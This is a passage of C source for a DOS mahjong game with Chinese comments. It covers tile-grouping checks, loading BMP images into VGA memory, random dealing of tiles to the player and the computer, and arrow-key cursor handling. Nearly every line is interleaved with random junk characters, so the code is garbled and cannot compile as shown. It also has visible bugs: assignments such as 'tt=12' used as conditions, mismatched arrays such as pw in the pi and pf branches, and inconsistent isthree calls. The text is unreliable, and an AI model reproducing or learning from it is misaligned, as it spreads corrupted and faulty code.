{ ill=0;, H: y: G" F5 Q% u9 P0 O# [3 @& a$ p2 q- ]
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
( S, ?, d/ i' A" Y( r! _% C. W  [{if(kl==i)
: S8 F0 M, O% F; z{
* ^+ S8 V- J/ d8 zkl=kl+2;
4 u+ a3 X5 z& Vif(kl==8): d" D! k3 c7 |4 |9 V+ P
break;# o2 z/ n3 |8 w
}
0 s2 y7 m: B9 |% ?7 Qtest[ill++]=pt[kl];
3 F2 G9 Q9 ]$ R4 ?# j) s}
8 w+ E4 ~$ G0 Z* B& b- histhree(test,tt-2); , v1 A: E4 _; e
}
/ l* p7 p# v6 \; Y( M; y' n}
$ t6 t$ G( v& k% l$ q. s9 uelse if(tt==9)
5 F" ^# M" C/ A% Cisthree(pt,tt);6 V! z$ B$ y/ ^% h( R
else if(tt==11); f5 O* K1 R4 l  L
for(i=0;i&lt;10;i++)4 n" k: s7 N( `# A4 Q8 \
{3 f( ]$ u; a$ T, V7 t
for(j=0;j&lt;2;j++)
7 ~5 ]: B# C* I4 C$ Q! n' H  X{test[j]=pt[i+j];
* X# k. S6 x1 Q}
* ?, d$ |6 k% {8 o+ ]8 O5 K- Eif(istwo(test))
* f7 h3 N2 ]) D) R; r- d{ ill=0;
# K: k  k2 ]! L5 q& N3 d8 Ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
3 j5 p6 z) O. G0 C5 L{if(kl==i), S  L9 S, U& G# T9 p
{
8 E% k; n4 q* G3 |; I8 Rkl=kl+2;  v# e. Y  @6 K
if(kl==11)
$ n2 @! }6 L  S+ y2 \! C, b9 ybreak;6 E! G" N) d: C$ P% p& Q
}
& Z2 E- x& ]( i1 g) \test[ill++]=pt[kl];  V9 o" V0 d% I3 @6 P3 ]# H
}( t' s: Z9 O  ]
isthree(test,tt-2); 5 }7 E1 A) I! g3 a6 R0 W; f
}$ O5 }: k% c0 H& M* ?# A
}5 H$ n0 j( _0 ^: D; s
else if(tt=12)
* f, r& y1 S9 Kisthree(pt,tt);8 E8 O+ a+ y) X2 G
else if(tt=14)
' i9 D. f6 F+ tfor(i=0;i&lt;13;i++)
. P6 x: Y& m% ^8 N; y9 x{
4 s: @4 N( S6 w9 c' W  t% N' kfor(j=0;j&lt;2;j++)
5 \' q' `! k, v% j2 B/ r9 P& A{test[j]=pt[i+j]; & @7 t0 T, B2 k! J6 Z8 Q4 R
}4 t# k% c! o& ^) O7 b
if(istwo(test))
7 p3 f1 j3 A! w' z{ ill=0;( c& ^# m; G* t2 K8 e: g
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/7 t# @; M6 g$ S3 D# r8 r8 n5 @
{if(kl==i)
6 P6 ^( h/ O- l5 @: R+ _. X& {{
7 h6 I8 k4 ?3 S6 V/ ^& Jkl=kl+2;
" Y/ H  A1 ]- z9 _. @! h- hif(kl==14), L4 r' r& ?6 @2 y! c9 h9 G4 d
break;
( \' e; P5 m* p6 I$ _; U" P$ C}
. r, {( C- Q+ K- }# R6 ?/ W1 htest[ill++]=pt[kl];
: ]( [( G' t! g. |5 F}6 d- H" {, P3 ]
isthree(test,tt-2);
1 O5 I$ [( u; d1 Z}
/ U) U* A) d. s: h9 _& [, y}" L  r5 R1 `* I0 J0 o
if(ii==2)
; p( X* s4 g; A" [! e( Wistwo(pi);
: x0 l7 W/ L& `8 A. p: pelse if(ii==3)
- M0 w. B: K, a1 f9 Zisthree(pi,ii);
( A2 \: e+ W8 O3 f4 M% Zelse if(ii==5)
1 W) F. U& l6 A2 a/*pi[5]原始牌数组,假设已经升序排列*/7 E( @. ~, {; I2 {: o6 m, C
/*test[3]用来放置测试牌的数组*/( t1 x- Q7 ^) ?1 v' C8 N
for(i=0;i&lt;4;i++)
' l2 F7 G5 h9 V0 f( P, t{
  u# F5 e9 U3 K* ~5 U# B0 Afor(j=0;j&lt;2;j++)) S0 Z  a$ Y9 U6 J- k* _5 Y
{test[j]=pi[i+j];
1 C# u- |6 E; f6 F* r}
% Q# I0 g* ?# G. K1 r, m& \* Kif(istwo(test)): b# w5 F" g! @, ]. h+ N
{ ill=0;
& w! u4 q# `5 s( d& Y! j& O$ V7 lfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
0 I" T/ ^1 G; `0 h1 `+ l* p{if(kl==i)
) D) s' j; e# z! Z/ t{; x! ?9 i4 J# I( G) g+ G
kl=kl+2;  ?' g/ C- ~/ U6 m  {% F8 g
if(kl==5)3 f5 y/ C6 f: ?% e/ S
break;# l% \" F2 T8 h6 |6 |
}/ p& w  F* x1 h. D! e) j. B( l
test[ill++]=pw[kl];: |: V# s. y1 B8 N
}
* |& G( o( _9 ~# j$ risthree(test);  [/ D+ w- D; z) b  [
}! J- C* g( w3 m) z3 a( w; ?
}' X% Q; l* G- r3 }: k; E
else if(ii==6)0 {5 b9 n! U9 n; ?
isthree(pi,ii);
" K( _# k0 h3 _! yelse if(ii==8)5 j1 o3 A# B7 I
for(i=0;i&lt;7;i++)+ F& i9 O8 \2 i# `9 ^
{
% k2 P& j2 [7 i, Kfor(j=0;j&lt;2;j++)6 i7 l) S' _. L8 z
{test[j]=pi[i+j]; % Q% a0 N2 O" w+ W4 B) p. ~
}' y9 j3 g/ l9 Z& B
if(istwo(test)). w* [' b  P& m! d$ L- z- G7 m
{ ill=0;  u9 c! N7 D! a" }
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
: @( z2 n) n. ^) {{if(kl==i)( G7 ?- Z" k- ^+ u+ u* f
{
* s; P/ l+ J* Fkl=kl+2;
" x. t, k, [1 G2 H9 q2 ?( z+ kif(kl==8)
1 Z6 `* C2 ?0 d$ O- T1 y) B8 R& Ebreak;0 `$ u& g! [) F$ ~0 }( }
}
4 d' ]; X  B5 b+ `+ H0 F. Ytest[ill++]=pi[kl];4 k: F& \2 K9 Y- @" b
}( a0 |7 a; K$ J) ?- q# j: h9 c9 L
isthree(test,ii-2);
- b2 Q9 t# e- I5 z( N  P}/ v( Z& Q0 t. d( |" @
}
: U& V' |: F8 m5 telse if(ii==9)
- z+ G0 A' g* J$ a1 y1 b$ u7 k. R; Q2 ?6 Oisthree(pi,ii);
7 I9 K- e% f: Z2 c; _else if(ii==11): [# G3 b: V+ n$ a3 V7 z& l
for(i=0;i&lt;10;i++)! b. Q6 x- [8 R% c# v0 B& r
{
* G% }+ k7 b" J, J" ~for(j=0;j&lt;2;j++)# a& z6 Z% D  `/ ^" I. a8 c
{test[j]=pi[i+j];
* k- C8 [% s2 ?+ N; h" N0 r5 N}9 n" W* ]" O  `2 S/ J' u; u
if(istwo(test))( `5 _2 a1 y+ K7 @- x# {
{ ill=0;5 N9 \2 B% u* [/ t* K
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
+ z" \9 H; D" ~' s{if(kl==i)
( C, r& {# \* X1 V: F+ W$ @; c# a{) |2 K8 {+ i7 w  R3 g) p
kl=kl+2;
2 K9 b/ r* C5 jif(kl==11)6 ~2 ^* V& j8 i$ B% m% [
break;
: U1 a8 u! Q2 ]$ o+ d; S}% p! i4 _0 n0 Z* f
test[ill++]=pi[kl];3 F2 t* ?* X) O, C: Q
}+ ~8 g3 ]3 a% t
isthree(test,ii-2); / ?% U0 S( a; ~% ?5 {
}( s8 O0 P/ L6 i# D/ e
} - D( e0 x' j# P. h5 {4 n$ D  O# y
else if(ii=12)) V2 I. h+ i9 s$ s! N8 \- W3 R
isthree(pi,ii);# l# _: E/ q; N$ o$ q& h
else if(ii=14)( B& `" T" B6 g' z8 I
for(i=0;i&lt;13;i++)
. ^# P3 B2 Q: J' b{( w1 n/ k* u- w2 R6 @
for(j=0;j&lt;2;j++)0 N, L; _5 }7 L- M" ]1 O) c
{test[j]=pi[i+j]; 5 p. [7 x- ?- A, ?/ B  N9 D
}
2 f; J% R( u' |) \4 X" J: [' j; eif(istwo(test))9 P! D" ]; T2 U
{ ill=0;! i& c  c/ L% o' P+ \. R
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
$ t/ m7 `/ i/ c! n{if(kl==i)
6 G0 E) s- _3 e{
) o0 A8 c: h" J6 [3 p0 H+ m& ykl=kl+2;4 p7 g+ L9 H* o5 _: S/ V7 d
if(kl==14)! V8 q7 W; ~% W+ P
break;1 O1 J% |% g/ v  N& j
}
& S2 G$ G7 d$ ^' n% ^; J1 Ctest[ill++]=pi[kl];5 T$ X1 v: ^6 b! M
}
0 ~4 u/ r& \& Nisthree(test,ii-2);
5 R. r, C* ]3 b: R4 {4 d* J}" u/ S- Y1 w6 D. u
} 6 J% @: A% R; }$ {8 `: y$ W
if(ff==2)+ z! \  e& C& k9 _( J" m
istwo(pf);  F' h. `% b$ u* L8 A8 d0 v
else if(ff==3)
" Z3 M! U2 V: I3 H  }# risthree(pf,ff);, G* ~* j# p2 p+ R# C  y' [
else if(ff==5); W0 B% `* B  F6 @0 t4 }
/*pf[5]原始牌数组,假设已经升序排列*/- A5 V2 R+ D0 E4 E$ l
/*test[3]用来放置测试牌的数组*/4 v: c6 k  M1 X" [# t8 J& {
for(i=0;i&lt;4;i++)
' n( s, e0 o3 p; l2 A5 U9 ]+ z( V{
. L( o$ r' s5 ~# D8 h" u& Yfor(j=0;j&lt;2;j++)
/ t5 d* B: f  L, t{test[j]=pf[i+j];
- m& @3 g0 P' G8 a}
* Q$ G6 b5 s$ C9 z) h, Wif(istwo(test))
; G. G5 m4 A4 N6 h5 A) @) @( s{ ill=0;0 Q3 R" x' Z6 i( _" c& d. F; J
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/) d1 i8 x1 Z* X+ Y
{if(kl==i)
" l1 U2 L1 f) _2 [8 j6 i8 F{( x+ N" q3 i* K
kl=kl+2;
$ G! z& Z+ K! ~; c' ~. L* L' oif(kl==5)
7 t: C0 T4 U/ F6 O- k) f/ M$ ybreak;" l! q) Z1 Z) w3 f1 f
}
9 F" a9 L* q  g0 V  mtest[ill++]=pf[kl];
- R8 R) ]1 G% B+ h! `, a}
) w4 R; p( L& {isthree(test);. _1 v4 f$ ?) H: [% |% s/ ~
}
+ e! s- j& Y8 M}6 ~  {: i1 V0 h
else if(ff==6)+ Z! ~' ^8 G/ c
isthree(pf,ff);
$ L4 O! o, W  H! e: Eelse if(ff==8)
7 |' \7 h! m' _1 W/ M) Gfor(i=0;i&lt;7;i++)
9 q, M( b$ K/ Q/ m3 k: X3 P6 i) D{, W/ O& y/ @6 X4 J1 }. {
for(j=0;j&lt;2;j++)( A+ b. i7 k7 ?& O! D
{test[j]=pf[i+j]; 3 S. E' m. Y2 x- S# t1 X  {7 \2 L  r
}% v+ h, m1 ]7 @8 a4 [0 z7 w9 x
if(istwo(test))$ B3 c" [9 b6 P& D8 g" K0 t
{ ill=0;
2 \" h' J% e9 Q8 n/ Gfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
! o4 t* q' w' w, b, Q* b{if(kl==i). H8 I1 l0 s, h5 D! D4 ^, p
{( W4 R  s# z$ n, a' G
kl=kl+2;
) U* I6 U! v4 `9 ~( E6 Bif(kl==8)
' ?% n/ J  R3 a8 ?, d) C# L/ Qbreak;0 y! F+ a: O! F9 e8 u1 e
}# k" m! v8 e  [4 ]; K
test[ill++]=pf[kl];
: f6 C5 A4 ^' c9 u7 ^}
4 o3 v1 m' B# V; ~! |' ]7 Fisthree(test,ff-2);
+ x1 }% _- y* h$ j" c}
& V1 x8 R0 T7 G; ?. p* U( k4 L7 \}
6 G3 w2 K# l+ `( delse if(ff==9)
& l2 z3 D! ?* p5 @4 qisthree(pw,ww);
" r/ ~, j) f6 o- f9 i) ?else if(ff==11)
: }7 [( U2 J7 i6 Q0 Q4 T% l2 Cfor(i=0;i&lt;10;i++). F8 t- k6 m8 {+ k
{
- m5 H( T5 e9 ]) T' |for(j=0;j&lt;2;j++): V5 A: r7 o. X, {7 [+ t
{test[j]=pf[i+j];
; m- k% q6 [9 V' R; ~, a- R}" K" Q' l! ?) G. z! C
if(istwo(test))/ D. m2 `2 m! L: ^4 t; }# u
{ ill=0;
3 p- a2 [( |. G# W  ofor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. M8 R+ v) L8 [+ g{if(kl==i)9 \! ?( P3 @; N% T, B
{0 D* |- H, p; x6 L. d
kl=kl+2;
6 H, @" [: m3 w" `  dif(kl==11)
% U* {! U+ q; D7 i$ f& Ubreak;
1 N  |8 Q% b( z2 M/ D* k4 A! Z}& L9 E2 ]9 S, x( J0 l2 Y
test[ill++]=pf[kl];- g$ L! i- V7 r$ U. N$ j
}' V: h- k. W1 c' y# a
isthree(test,ff-2); % q: A; _! }9 i+ s$ X, B; N) V
}* x2 r4 C8 V+ v' y! |+ B. a3 v6 Q
}
: A' [7 ^: n. e/ v, }else if(ff=12)
; B& T9 f" }5 v% I5 c6 Kisthree(pf,ff);
6 y" G) B8 P: J6 @5 u7 J" Uelse if(ff=14)
! Y/ E8 V; s& |+ J6 ^for(i=0;i&lt;13;i++)1 L, f* O# B; w2 p
{) q" F4 L8 J  b9 f: W( o# _
for(j=0;j&lt;2;j++); d9 q! A! N& R5 |* E( s; E/ v* D- I
{test[j]=pf[i+j]; 3 Y! b: w5 i! R  I6 a' l- l
}4 P  [7 \: {: }, u+ M
if(istwo(test))& b0 e4 s$ m3 I/ c/ l
{ ill=0;
0 _/ }2 F! _3 l- @" ]+ H6 T% ffor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* t+ {( H5 f; L{if(kl==i)5 L: Y* @3 g# e
{! a5 t) S, ^2 K: N7 a0 H
kl=kl+2;
2 l' U$ e( V( C+ c6 s, Aif(kl==14); N7 o# V6 O, l4 ]; ], W
break;& @1 w/ E5 {# j9 s6 j: Y- k& u7 r
}5 L3 K4 T" `9 J- i
test[ill++]=pf[kl];
" `* s3 B4 d+ E4 O# y% M, v& Z( U}9 p5 \1 J5 {0 g
isthree(test,ff-2);
' b8 D- _' S3 w3 u) Q0 l' I}* S; M% D! G  D4 Y! s; E
} * k: L$ g+ L8 R
}
* k) Y3 @  k# \# f1 Q0 m4 dvoid main(void)
' ^$ _: F- q% E{% @9 T; r, J  y% L! M/ b$ w$ M9 }9 b
FILE *bmp;
* N" H# g7 Z  i) Vstatic char *name[2]={"ff.bmp","logo.bmp"};! w: h6 ^+ V; t/ a2 O$ N
char *p;
% o2 `, r2 a3 v: Q3 Jint *lingshi;
; k3 ?8 l. V) v# vint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
! P& P! @. u* v" zint every=0,w=0,x1,x2,y1,y2,every1=0;5 i; g8 u( e! K2 p0 Q
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
* b9 o! n9 s# n9 d9 GBYTE palette[256][3];
. V  a* a7 P9 d2 C" ASETVGA;
3 s, Y! l) s) _1 mgetch();
  k* u. ?9 X! ^! F: gwhile(t--)/ v% d) S0 O. k' p. R# K
{% G/ [; ?% K5 `9 O
bmp=fopen(name[t],"rb");* Z+ I  v( B; c3 d. p1 b/ ?3 Z  b
fseek(bmp,54,SEEK_SET);
6 a# q0 h( [6 x: G1 sfor(i=0;i&lt;256;i++)
* l, w- o& T' H  q/ C. x& S{
1 |( ^8 Z8 j/ w- }+ U* I3 O3 ?palette[2]=fgetc(bmp)&gt;&gt;2;
  O# {1 K' c( S  Z1 @0 d3 Rpalette[1]=fgetc(bmp)&gt;&gt;2;
! k$ i+ I2 O! f0 Kpalette[0]=fgetc(bmp)&gt;&gt;2;6 C: @5 l  I% Z' h
fgetc(bmp);/ `7 U% j  B$ a6 L$ U
Set_Palette(i,palette[0],palette[1],palette[2]);# q$ k9 U- P7 L  E: s( m, P
}) K( k/ c+ ^0 J7 s3 b; {% D, h
for (y=0;y&lt;200;y++)8 Y! T- a. r# S0 Z% X4 [- _
for(x=0;x&lt;320;x++)
+ J. f% P1 ]4 ^3 M* \pokeb(0xa000,y*320+x,fgetc(bmp));. J" d0 t' p: ?. I) E; A/ v! V# L5 j7 o
fclose(bmp);
* T0 y9 \' m# Qgetch();# n2 u0 W  L0 C* y4 g$ `4 s& \& A
}4 H2 g9 `9 O2 J  a. q' H
getch();/ n  p% S& T, ^
fillRectangle(0,0,320,200,0);) M, A# z& y9 \4 Z1 g- D
getch();
+ y' W  i( O8 f) i' j' H9 krandomize();
) ~& J# h4 V+ e4 eme.m=onetothirteen;
9 M2 _/ b7 |; ^! s1 y$ s" g4 O$ X! p9 ~while(me.m&gt;0) /*先循环,给自己拿牌*/4 d% v6 x- W$ z- q/ {
{- R* P8 g4 L: X6 Z8 j( C! \
+ X" K% X% |) a5 [3 D$ R; a  P# j
temp=random(136);4 ~" ?* s' b6 f' w, T6 ]
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
# v1 a+ U; C. _, _! D" F  k{
# i) F; Q) ^+ l. V* g3 n1 pme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
+ S# ^' c4 k( \* L4 D% x$ P/ ume.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/& k; q- S1 o! V7 J0 y4 P- }
me.pp[n].number=temp; /*第几张,用来排序*/9 Z# N9 e+ |2 z4 c
m[temp].data2=1; /*判断牌是谁的*/% S3 G& B. d1 H/ S; W
kk=1;
* \9 p: n: n1 m$ B}0 v  }. Y0 h, g* r( c
if(kk==0) /*判断如果又选择了,就从新再选*/9 ^# h, w" O5 X0 [6 c3 [) j  Q
{
' w4 ~0 F( E  I5 t6 u; xme.m++;$ X- Q4 I1 W6 U( J! p
n--;2 A6 f. h* z. S; c- l8 X
}
3 P) r; o% g6 r; b, f$ M  yme.m--;6 ?" M- v7 I' ^8 q7 S
n++;$ a$ N; D+ G: M- D
kk=0;9 k! n2 x5 Q% R0 J% M
}
; y9 ]8 a0 V% p9 C( ~% g, wme.m=12;. g& H' ]( t+ ~8 O/ Z, \+ K, v
melipai(); /*理牌*/
5 r( o1 K! p+ y7 b% z. ~
# N" p0 X& c4 O/ Z) @' j6 Rn=13;
/ a  V7 i+ I! K' k1 kwhile(l&lt;n)
! I; j& N7 k' ^{
& s% @. G, q$ c# `5 G; nz=z+20;! ^0 @( f$ J, v$ a+ [5 j
showbmp(l);! l) [; w+ H* C' ?
l++;$ ?% G* E  g/ e( D. W

4 M! R% h3 V9 W' u; \5 a}; h( {  ^, Z7 ?# D" l
randomize();
0 |6 v( X- T7 Kcomputer.m=oneorthirteen;2 j9 d$ q" e% O  }; r& l, p4 L* x
n=0;
$ p+ B; f3 j. Z; n' f. c. Pwhile(computer.m&gt;0) /*循环,给对方拿牌*/0 E+ i! s; G5 L. k& x7 s
{
) A2 M& t0 |+ l" m/ E6 `temp=random(136);0 Z+ d# n8 A. J. M
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)& F, g# O& j% X2 q& m4 q% }4 ^) ]+ K( T
{" \6 J* \2 A7 \$ Z# L
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/# |! o. u6 B1 [, T$ `6 m4 b) {
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/! k; a  _2 M* J
computer.pp[n].number=temp; /*第几张,用来排序*/
- V6 H1 w1 K2 K5 N/ O3 a8 jm[temp].data2=2; /*判断牌是谁的,2为电脑*/1 y  H$ f9 c* n8 K5 u
kk=1;
# y$ r$ u# j, J1 E/ j- w}
- |8 v! Z% K% {if(kk==0) /*判断如果又选择了,就从新再选*// K+ q# M4 Q" {6 T2 ?1 R7 \
{
" `( _/ m( |! ^7 e& ucomputer.m++;. |* e, r3 {( [' Q& [: Y' X% w4 u  m
n--;
; S7 S1 Y% |: |/ E& u3 N3 p}
: z  f% D0 c4 I8 Wcomputer.m--;9 q" |: Q, W6 K7 F
n++;# N; F0 |2 `* L: h% z' d% n
kk=0;
0 f2 {6 {  T2 J# x+ V}6 h% l/ o. I4 f8 L2 u
computer.m=12;; ~9 I  R; J7 y% _- r
comlipai(); /*电脑理牌*/, \+ q1 S9 w0 |/ ~' Q1 ?
n=13;
% ], I- [& B: R+ ^; j, }8 F( Twhile(ll&lt;n)
& @! ?5 x! E- A: q( x# B{* [5 v, h/ J9 a" e( ?  Q, u5 w9 }; d& i3 r
zy=zy+20;& b4 R# o& g: s# Z- X8 c
showybmp(ll);
: W7 M! V4 G! V8 A9 d# k0 ~& Z4 N+ K5 ~/ i* sll++;8 `+ n2 M) d  r# `
}$ E* K- l; C3 |0 F% L+ K6 v

, T0 U3 E' N; @) h2 L- H6 ]z=54400;
4 E. t5 b0 a" j% ^7 `& Lwhile(key!=ESC)
# v/ c4 i3 h: @, G5 G{ ; S6 r6 K) W8 `8 Y4 @! k3 l

2 ^/ y4 {, w( Jkeyy=bioskey(0);' c7 t6 Y, Z" c: Y; m
if(keyy==LEFT)
' l/ n: K; \* F{ w=1;+ f7 A' X# F9 e8 C4 N8 ~4 F/ _) W& t
if(every==0)$ w! j/ p0 E# H6 s, ]
{
! U9 _9 l* {' W, Hevery=1;
. `$ n# P! Z( y7 Fz=54440-5*320;
+ _  Z9 D) c5 B! t% i0 G+ b  y, M9 \; L& P
}+ j$ ^3 }# b8 V  n' L# A6 q
zz=zz+5*320;! Y; Q0 D$ l: d8 }, z
showbmp(every);  z1 O5 J) c9 m* F
if(every==0)4 a+ I3 i1 E, V
{
# w& R; {# l- ^x1=20;
; U0 e- @/ k! K3 K2 _5 j& @$ b0 ?y1=165;' b7 a6 G9 ^  U$ \; S. X
fillRectangle(x1,y1,x1+20,y1+4,0);
0 b% M- q. A, {' B( l}( S8 |2 Z4 M# t
if(every==1)! t( f* D7 E& D/ S' O
{
- I$ v! ?- y; G. z6 [, h8 a& w+ ^x1=40;+ p3 O# u; g/ @9 ~# J
y1=165;
: G5 `" h2 q% }3 sfillRectangle(x1,y1,x1+20,y1+4,0);+ W; W$ c0 X, I1 e/ w* g
}8 Y8 a5 k1 M/ [  G" a' z  D7 \
if(every==2)8 J  ?) @" W! Z" x3 }; [$ c
{& {* N8 N2 B1 O$ p" Q
x1=60;
  [$ j3 s4 t2 s6 V, b7 o0 U' O& E8 n: py1=165;
4 G5 r+ w  }. jfillRectangle(x1,y1,x1+20,y1+4,0);! j% v3 }$ ~3 K. F" b
}
3 I4 ^# X1 P2 `$ |4 Hif(every==3)2 w8 A, G) r$ c" o, q# `$ V
{7 W, V; o, d0 _& k/ W
x1=80;
0 \; U+ y# l2 m% o5 m( c- Ty1=165;
8 p3 ^5 D& @+ ^0 YfillRectangle(x1,y1,x1+20,y1+4,0);% M/ E' j5 z8 X# c6 K5 }
}' d, S% M' Z- t- F& O$ ~
if(every==4)
* g% ?% [# `; G{" m4 Z* h% ^9 Z4 k% t
x1=100;; b3 Y, O5 d# Z
y1=165;. L  X6 X0 [# r  C9 P% ?8 Q; j
fillRectangle(x1,y1,x1+20,y1+4,0);3 Y1 r* X1 Q) E
}3 h. T. H: ?+ c- U4 J/ v
if(every==5); a9 |: @% ?; y- e" V- s9 |
{) k" ]& C5 B, D1 m: @$ [+ w, ]) t
x1=120;, r. ~  F2 }( Y7 c) G. F6 E8 a
y1=165;
. f0 j: s. {1 GfillRectangle(x1,y1,x1+20,y1+4,0);; I8 t- r9 Y4 `6 K- q, @  I
}
% V& E) S0 T. S' ?if(every==6)
8 l# g# e$ y( X{
% ~- O6 Y' e5 V# k" j- Hx1=140;
4 c* c* @( L* a# Ay1=165;
1 d- ]  H8 N  h/ G. S4 v1 i( kfillRectangle(x1,y1,x1+20,y1+4,0);
9 ]  _6 `3 C8 N% {}
9 f: g/ ]  N2 M, E3 }if(every==7): f7 u2 G& p( C+ b$ Z$ s
{3 K. H1 F, T$ l) w
x1=160;
0 t$ u! h6 `' }* C9 n% m9 U" |y1=165;
+ w3 U% N2 U, t' O/ DfillRectangle(x1,y1,x1+20,y1+4,0);
+ f2 E4 H1 `' d3 |) i" X, |9 b}& ^. u$ N$ i7 Y' r
if(every==8)
. t7 B* k4 o  o" Z+ _{
. @- H6 n. h3 B0 Z+ zx1=180;+ p& Y8 y) ^/ F- {/ N9 B6 n
y1=165;6 w! s' y3 }" x) [1 ^
fillRectangle(x1,y1,x1+20,y1+4,0);5 ~' }( h: A* q4 c- C; D9 c2 o
}
2 h: g# f( i& i: J! s/ Uif(every==9)
! y+ B+ }2 z- l. B{$ u1 d, ^, H5 w; F+ b
x1=200;7 I( s  f, q' u
y1=165;
2 O0 P! m8 q" v, v' afillRectangle(x1,y1,x1+20,y1+4,0);
. c3 R0 s3 g* T% v4 R  P( n( |}
$ j: q  P8 k' sif(every==10)5 f. @( I; T0 r3 Y9 z% v9 k
{- o  z# W6 |) V2 ~( ?
x1=220;& n! B- l* ?8 {% s3 |7 e: ]; Y
y1=165;% f! A9 R9 k! u' r4 g: M
fillRectangle(x1,y1,x1+20,y1+4,0);
; }' _8 A- f8 p$ I}
4 l9 c% x/ E$ ]' Vif(every==11)
  u) n  D3 i3 @8 o{. @' v! X  H1 k& a8 a" }
x1=240;
4 X& G- f2 }7 v9 i  y8 Gy1=165;8 O: f4 `/ ~/ u3 G
fillRectangle(x1,y1,x1+20,y1+4,0);
1 o% Z" |) G4 Y: ~) S}
5 _; r5 `* k! C; ]& ?- Tif(every==12)
1 j. ]; w& q" e7 z+ c  d) k5 }{$ l1 m2 S9 F" V( _* G1 t
x1=260;* H) ^4 o, o) I
y1=165;0 b' k: R  n+ \3 s
fillRectangle(x1,y1,x1+20,y1+4,0);9 j- a; b$ Y- l" v  N
}; F9 T: [  S; ]8 l( D
zz=0;
$ ^% Z' a- J6 y+ zevery--;
- z  _' _% Z" ]z=z-20;( z. }' l( k  J( u3 Z
}# I( f2 {/ c& P' ]5 k% _% T; }
if(keyy==RIGHT)6 `( U* e. P5 l* l6 d" |
{ if(w==0)
  x# d5 _0 V$ N7 X; {{$ z* Q4 ]3 z; g5 x* O5 M2 q
z=54440-5*320;
' o( s/ b& v0 oz=z-20;: L6 L4 E' d# g4 E- U# u
w=1;2 a- _) K( L' G! _# T3 F
}3 z3 N) e; {* T- F3 i: J- c' y
if(every==12)   i. Z" x; K) Y1 ~6 W
{6 v- Z$ _! T2 s4 ^2 h& @
every=11;
- {( [1 W% Y8 A- s# Kz=54640-5*320;. z! [9 ]+ k  Z. p" m9 d+ f1 A
}
! b& ^0 g& \" H1 b1 t$ Fzz=zz+5*320;6 q9 S  x1 a' s8 N7 X; v
showbmp(every);
' m5 _* L* G2 U1 H& e2 Mif(every==0)
9 q+ Y3 f# c3 ?* c2 ?* n- F' Y% J{- O# ]1 G# Q4 v0 N  L# y
x1=20;+ Z0 k& ]5 M' A: e  D8 l4 o' Y
y1=165;
! T. O" u; {# {1 g7 Z4 o' }  L% e. [/ f) sfillRectangle(x1,y1,x1+20,y1+4,0);$ {9 d* n3 \/ x. }
}. E& U! l, {" p% n" Z) U( l. I/ u+ w" g1 c
if(every==1)! h6 ?% @. ?' I# G6 F- E- u7 T
{" v0 I/ M7 a" I* H, U
x1=40;
6 g5 X0 H. {: \3 Hy1=165;
6 K) ^. {6 R. e/ J3 M) WfillRectangle(x1,y1,x1+20,y1+4,0);* K# Q" v' y6 a' F6 X% g/ B
}
" N8 Y( m! {9 z4 C4 ?0 w% M1 U, ^if(every==2)
9 m4 Y5 t$ L/ _/ B% L; X1 K: y: i{  r' Y( x' s% S
x1=60;  n7 ~- `  E; Q7 `8 f+ k
y1=165;$ }, I! d7 ]& L+ L& R( T! n6 E
fillRectangle(x1,y1,x1+20,y1+4,0);
/ M. Q4 h3 u8 |# ^( x}
: q/ P4 H. h3 c6 l9 f2 M+ h8 _if(every==3)
2 C$ U. H1 r& e' S: w9 U: p; @{
; a& x" G% s# h5 ~5 g+ Vx1=80;
4 i8 g! c, z8 c+ e6 m$ Y- wy1=165;
# h* e2 v  u: S& J7 ?' jfillRectangle(x1,y1,x1+20,y1+4,0);3 Q- I9 N& {0 \
}9 j8 v1 ]- C4 u; E# o0 s
if(every==4)# v" |1 A# h7 |( s* ^5 J
{% B& c. i7 [3 ^$ P4 ]$ I/ d8 R
x1=100;
. Y2 d/ ]* E+ K9 gy1=165;
0 q% j2 q4 W8 a1 t8 E6 N1 EfillRectangle(x1,y1,x1+20,y1+4,0);% o3 U/ J9 G; A: \, l$ E
}; d$ U' f. }8 d. E/ N  _3 J. x
if(every==5)5 F' Z3 l, ~5 w3 u; |
{
8 }. t5 I6 f, d4 ^. Ox1=120;" j4 r. R) p2 Y4 J; m, V) E
y1=165;
/ v6 U( s- W4 o0 V; p+ ^, OfillRectangle(x1,y1,x1+20,y1+4,0);. i: T$ E7 L& u/ T: I( y$ U
}& U3 T. {" y* ~0 f" a! j9 T% T
if(every==6)
1 C* e, O. Y  |, {5 f{
. v6 L* ~6 M# l+ L. ?3 wx1=140;
* c" s6 R. {* |. X5 e6 iy1=165;
% m$ [( ?1 N- x# o9 C1 J0 i3 `fillRectangle(x1,y1,x1+20,y1+4,0);. z. w" a5 I8 I; n7 m
}
# T/ f7 Y2 L3 A9 w. ?if(every==7)
7 p- _  R) W/ L) V6 ~: l9 X{) ]6 A" X9 k( h, I
x1=160;
, ~" b! H# D9 E- _* qy1=165;
: E) _0 J3 {5 C" Y4 }& w' Y. P: s0 dfillRectangle(x1,y1,x1+20,y1+4,0);
- w# F1 T; F! b}( y+ x% |: Y, K1 p+ W& S
if(every==8)9 P- H* ]- X4 @5 e! J2 R4 v0 N
{" {, r( u# k8 B4 v7 |
x1=180;
